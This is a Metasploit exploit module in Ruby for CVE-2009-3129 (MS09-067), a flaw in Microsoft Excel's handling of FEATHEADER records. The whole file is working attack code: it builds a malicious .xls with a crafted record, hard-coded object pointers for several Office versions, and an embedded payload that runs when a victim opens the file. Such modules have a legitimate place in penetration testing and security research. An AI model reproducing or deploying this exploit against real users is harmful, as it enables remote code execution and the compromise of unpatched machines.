require 'msf/core'
require 'rex/ole'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Excel Malformed FEATHEADER Record Vulnerability',
'Description'=> %q{
This module exploits a vulnerability in the handling of the FEATHEADER record
by Microsoft Excel. Revisions of Office XP and later prior to the release of the
MS09-067 bulletin are vulnerable.
When processing a FEATHEADER (Shared Feature) record, Microsoft used a data
structure from the file to calculate a pointer offset without doing proper
validation. Attacker supplied data is then used to calculate the location of an
object, and in turn a virtual function call. This results in arbitrary code
exection.
NOTE: On some versions of Office, the user will need to dismiss a warning dialog
prior to the payload executing.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Sean Larsson',
'jduck'
],
'Version'=> '$Revision: 10477 $',
'References' =>
[
[ 'CVE','2009-3129' ],
[ 'OSVDB', '59860' ],
[ 'MSB', 'MS09-067' ],
[ 'BID', '36945' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-083/' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=832' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload'=>
{
'Space' => 1024,
'BadChars'=> "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets'=>
[
[ 'Microsoft Office 2002 (XP) SP3 base English on Windows XP SP3 English',
{ 'ObjPtr' => 0x307ddd10 }
],
[ 'Microsoft Office 2002 (XP) SP3 w/kb969680 English on Windows XP SP3 English',
{ 'ObjPtr' => 0x308082d0 }
],
[ 'Microsoft Office 2003 SP0 English on Windows XP SP3 English',
{ 'ObjPtr' => 0x3085d430 }
],
[ 'Microsoft Office 2007 SP2 English on Windows XP SP3 English',
{ 'ObjPtr' => 0x30f69018 }
],
[ 'Crash Target for Debugging',
{ 'ObjPtr' => 0xdac0ffee }
]
],
'DisclosureDate' => 'Nov 10 2009'))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.','msf.xls']),
], self.class)
end
def add_record(tag, data=nil)
ret = ""
ret << Rex::OLE::Util.pack16(tag)
data ||= ''
ret << Rex::OLE::Util.pack16(data.length)
ret << data
ret
end
def exploit
ptr1 = target['ObjPtr']
ptr2 = ptr1 + 4
ptr3 = ptr2 + 4
ptr4 = ptr3 + 4
bofdata = ""
bofdata << Rex::OLE::Util.pack16(0x0600)
bofdata << Rex::OLE::Util.pack16(0x0005)
bofdata << Rex::OLE::Util.pack16(0x1faa)
bofdata << Rex::OLE::Util.pack16(0x07cd)
bofdata << Rex::OLE::Util.pack32(0x000100c1)
bofdata << Rex::OLE::Util.pack32(0x00000406)
feathdr = ""
feathdr << Rex::OLE::Util.pack16(0x0867)
feathdr << "\x00" * (10)
feathdr << Rex::OLE::Util.pack16(0x0004)
feathdr << "\x01"
feathdr << Rex::OLE::Util.pack32(0x00000004)
feathdr << [ptr1].pack('V')
feathdr << rand_text_alphanumeric(1)
feathdr << [ptr2].pack('V')
feathdr << [ptr3 - 0x28].pack('V')
feathdr << [ptr4].pack('V')
feathdr << payload.encoded
content = ""
content << add_record(0x0809, bofdata)
content << add_record(0x0867, feathdr)
content << add_record(0x000a)
print_status("Creating Excel spreadsheet ...")
out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
if (not stg)
raise RuntimeError, 'Unable to create output file'
end
stm = stg.create_stream("Workbook")
if (not stm)
raise RuntimeError, 'Unable to create workbook stream'
end
stm << content
stm.close
stg.close
print_status("Generated output file #{out}")
end
end